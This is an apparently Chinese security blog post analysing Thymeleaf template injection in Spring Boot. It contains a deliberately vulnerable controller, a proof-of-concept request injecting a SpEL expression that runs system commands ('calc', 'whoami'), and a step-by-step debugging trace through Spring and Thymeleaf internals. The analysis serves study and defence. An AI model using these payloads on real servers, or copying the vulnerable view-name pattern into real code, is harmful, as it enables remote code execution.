怕瓦落地
- 关注

Thymeleaf是Java模板引擎,广泛运用与springboot中
模板的意义就是将参数动态地嵌入到html中,让前端页面活起来,不写死
环境搭建
package com.thymeleaf.jack.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Author:Jack @Date:2022.09.28
*/
@Controller
public class demo {
private static final Logger logger = LogManager.getLogger(demo.class);
@RequestMapping("/path")
public String path(@RequestParam String lang) {
return lang;
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.2.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.Thymeleaf</groupId>
<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ThymeleafVulnDemo</name>
<description>Demo project for Spring Thymeleaf Vuln</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.17.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<configuration>
<excludes>
<exclude>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
</exclude>
</excludes>
</configuration>
</plugin>
</plugins>
</build>
</project>
漏洞原理
当我们请求 /path?lang=jack,spring会自动去查找的模板文件名,为resources/templates/jack.html,并返回给用户的浏览器。
让我们看看最普通的poc
GET /path?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close
意思就是去查找名字为
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}::.x
的模板文件
由于thymeleaf本身 支持 spel orgl 等表达式的 ${....}中间的部分就得以解析
spel 表达式在不指定EvaluationContext的情 况下默认采⽤的是StandardEvaluationContext。能够执行spel表达式中的系统命令
因此就成就了这个很实验室的漏洞
org.thymeleaf.standard.expression.Expression
variableExpressionEvaluator 用什么表达式的计算器
final IStandardVariableExpressionEvaluator variableExpressionEvaluator =
StandardExpressions.getVariableExpressionEvaluator(context.getConfiguration());
debug发现结果是 spel 表达式
在不指定EvaluationContext的情 况下默认采⽤的是StandardEvaluationContext。了解spel表达式注入的同学们轻易地知道这是支持命令执行
基础知识
片段表达式 是什么
Thymeleaf模版存在很多表达式,感觉和jsp模板里的表达式差不多。不过功能更强大
比如以下
变量表达式: ${...} 选择变量表达式: *{...} 消息表达: #{...} 链接 URL 表达式: @{...} 片段表达式: ~{...} 这里主要关注片段表达式,这个功能呢就是可以将其他模板的部分片段插入到本模板中。这个在每个模板中插入footer时经常用到
比如你在/WEB-INF/templates/footer.html中定义了这么一个片段
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="aaa">
copyright 2022
</div>
</body>
</html>
现在要在另一个模板中引用该片段,则可以使用片段表达式
<body>
...
<div th:insert="~{footer :: aaa}"></div>
</body>
片段表达式的语法有三种形式:
~{templatename::selector},这种呢前面是被选的模板名,后面是片段名 ~{templatename},这种的话是直接引用被选模板的全部片段 ~{::selector} 或 ~{this::selector},这种意思就是选择本模板下名为selector的片段名 PS:注意如果片段表达式中出现::,那么后面必须跟片段名。否则会报错
Thymeleaf 预处理 Thymeleaf模版引擎有一个特性叫做表达式预处理(Expression PreProcessing),置于**...**之中会被预处理,预处理的结果再作为表达式的一部分继续处理。举例如下
~{user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/whoami}
会被预先处理为如下,然后再解析片段表达式
~{user/rerce::.x/whoami}
spring框架的基础知识
org.springframework.web.servlet.DispatcherServlet#doDispatch
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
/**
* 声明变量 HttpServletRequest HandlerExecutionChain Handler执行链包含和最后执行的Handler
*/
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
//是不是一个多组件请求
boolean multipartRequestParsed = false;
//异步管理器
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
try {
//定义模型与视图
ModelAndView mv = null;
//异常
Object dispatchException = null;
try {
/**
* 检查是否上传请求
*/
processedRequest = this.checkMultipart(request);
multipartRequestParsed = processedRequest != request;
/**
*1 根据请求processedRequest获取handler执行链 mapperHandler
*(mapper句柄,处理器执行链HandlerExecutionChain)
*其中包含了适配的handler以及interceptor
*/
mappedHandler = this.getHandler(processedRequest);
if (mappedHandler == null) {
/**
* 如果mappedHandler为空就返回404
*/
this.noHandlerFound(processedRequest, response);
return;
}
/**2 通过mapperHandler 获得处理器适配器HandlerAdapter
* 确定当前请求的处理程序适配器
*/
HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
/**
* 获取请求方法
* 处理last-modified 请求头
*/
// Process last-modified header, if supported by the handler.
String method = request.getMethod();
boolean isGet = "GET".equals(method);
if (isGet || "HEAD".equals(method)) {
//获取最近修改时间,缓存
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
return;
}
}
/**
* 3.预处理,执行interceptor拦截器等
*/
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
/**
* 4.通过 HandlerAdapter处理器适配器与控制器交互,获得 ModelAndView对象 mv
* 执行Controller中(Handler)的方法,返回ModelAndView视图
*/
// Actually invoke the handler.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
/**
* 判断 是不是异步请求,是就返回了
*/
return;
}
/**
* 如何返回的modelandview为空,则将URI path作为mav的值
*/
this.applyDefaultViewName(processedRequest, mv);
/**
* 5 拦截器后置处理
*/
mappedHandler.applyPostHandle(processedRequest, response, mv);
} catch (Exception var20) {
dispatchException = var20;
} catch (Throwable var21) {
dispatchException = new NestedServletException("Handler dispatch failed", var21);
}
/**
* 6 利用返回的mv进行页面渲染
*/
this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
} catch (Exception var22) {
this.triggerAfterCompletion(processedRequest, response, mappedHandler, var22);
} catch (Throwable var23) {
/**
* 最终对页面渲染完成调用拦截器中的AfterCompletion方法
*/
this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", var23));
}
} finally {
if (asyncManager.isConcurrentHandlingStarted()) {
if (mappedHandler != null) {
mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
}
} else if (multipartRequestParsed) {
//清除由多个部分组成的请求使用的所有资源
this.cleanupMultipart(processedRequest);
}
}
}
漏洞跟进
如何获取modelandview对象
跟进org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handle
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#handleInternal
此处的 handlerMethod 中的 method就是需要去寻找的控制器
跟进invokeHandlerMethod
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod
注释:Invoke the RequestMapping handler method preparing a ModelAndView if view resolution is required.
告诉我们这个方法的作用就是 调用mappring handler的方法 为 生成ModelandView对象做准备
先进行包装
将request 包装成了 ServletWebReques t webRequest
handlerMethod封装为一个ServletInvocableHandlerMethod对象,该对象用于对当前request的整体调用流程进行了封装*
将handlerMethod 包装成了 ServletInvocableHandlerMethod invocableMethod
其实这就是设计模式中的工程模式嘛 ,没必要每个对象都new出来,只要实例化工厂然后给对象工厂传递参数就好了
首先来解读一下这几个工厂吧
binderFactory 参数绑定的工厂: 获取容器中全局配置的InitBinder和当前HandlerMethod所对应的Controller中,配置的InitBinder,用于进行参数的绑定
modelFactory Model工厂 :
851行ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);
getModelFactory ()的结果 获取容器中全局配置的ModelAttribute和当前当前HandlerMethod所对应的Controller中配置的ModelAttribute,这些配置的方法将会在目标方法调用之前进行调用mavContainer 就是modelandView的容器:
在865行 传入参数进行实例化
modelFactory.initModel(webRequest, mavContainer, invocableMethod);
继续向下invokeAndHandle
跟进org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle
这个方法的意义: 对请求参数进行处理,调用目标HandlerMethod,并且将返回值封装为一个ModelAndView对象
跟进invokeAndHandle
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle
我们先看看注释是什么意思?
我的理解是 对包装过的请求参数进行处理,去调用目标HandlerMethod(控制器中的方法),并且将返回值封装为一个ModelAndView对象
这里的invokeForRequest就很关键。其是根据url获取调用对应的controller,然后将返回值赋值给returnvalue。将returnvalue做为待查找的模板名,Thymeleaf会去查找对应的模板进行渲染
returnValue结果为
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}::.x
然后线下走 handleReturnValue,这个是根据returnValue的值填充ModelAndViewContainer
跟进handleReturnValue (看名字就知道处理返回值)
org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite#handleReturnValue
迭代已注册的HandlerMethodReturnValueHandler并调用支持它的Handler
再次跟进handleReturnValue来到
org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue
判断返回值是否以redirect:开头,如果是的话则设置重定向的属性
好了mavContainer也处理完了,一路返回来到RequestMappingHandlerAdapter#invokeHandlerMethod
回到这里刚刚从这进去的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#invokeHandlerMethod
向下走到 getModelAndView 就是更新模板了
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter#getModelAndView
对封装的ModelAndView进行处理,主要是判断当前请求是否进行了重定向,如果进行了重定向, 还会判断是否需要将FlashAttributes封装到新的请求中
漏洞从processDispatchResult开始
* 注意:真正的漏洞促发点来了 *
上面获得了modelandview对象后回到 org.springframework.web.servlet.DispatcherServlet
中来继续向下
1057行这里开始了视图的渲染
processDispatchResult 对页面渲染
org.springframework.web.servlet.DispatcherServlet#processDispatchResult的
render() 就是渲染 返回一个model and view对象
再次跟进 分段渲染 org.thymeleaf.spring5.view.ThymeleafView#render
跟进org.thymeleaf.spring5.view.ThymeleafView#renderFragment 解析片段
跟进 org.thymeleaf.standard.expression.FragmentExpression#executeFragmentExpression 执行表达式中的内容
跟进org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)
跟进 org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.Expression, org.thymeleaf.standard.expression.IStandardVariableExpressionEvaluator, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)
注意此时 的expressionEvaluator 值为SpringEl spel表达式懂了吧 没有专门设定SimpleEvaluationContext 漏洞出来了
看看接口是如何定义的
IStandardVariableExpressionEvaluator expressionEvaluator 打开这个接口查看定义
这里就告诉我们了
Common interface for all objects in charge of executing variable expressions ({...}) inside Thymeleaf Standard Expressions. The basic implementation of this interface evaluates expressions using OGNL OGNLVariableExpressionEvaluator, but a SpringEL version also exists in the Thymeleaf + Spring integration package.
负责解析 ({...}) 之间的所有 即可解析 OGNL 表达式,又可以解析 SpringEL
好了我们继续跟进 省略一些吧 不是很重要的
org.thymeleaf.spring5.expression.SPELVariableExpressionEvaluator
跟进org.springframework.expression.spel.standard.SpelExpression#getValue() 来到了spel类中来了
org.springframework.expression.spel.ast.SpelNodeImpl#getValue(org.springframework.expression.spel.ExpressionState) 接下来就是解析spel表达式了
其实这部分不是thymeleaf模板注入的知识了 输入与spel表达式注入的原理了接下来的部分
跟进 org.springframework.expression.spel.ast.CompoundExpression#getValueInternal 解析内部的值
这样函数也好理解 就是获得表达式的值嘛 ,在获取(解析)表达式值的过程中执行了恶意的命令
再省略吧 没那么重要的
最终到达org.springframework.expression.spel.support.ReflectiveMethodExecutor#execute
invoke:498, Method (java.lang.reflect)
execute:129, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
doCreateExecutedFragmentExpression:458, FragmentExpression (org.thymeleaf.standard.expression)
createExecutedFragmentExpression:426, FragmentExpression (org.thymeleaf.standard.expression)
renderFragment:284, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:367, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:860, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1591, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)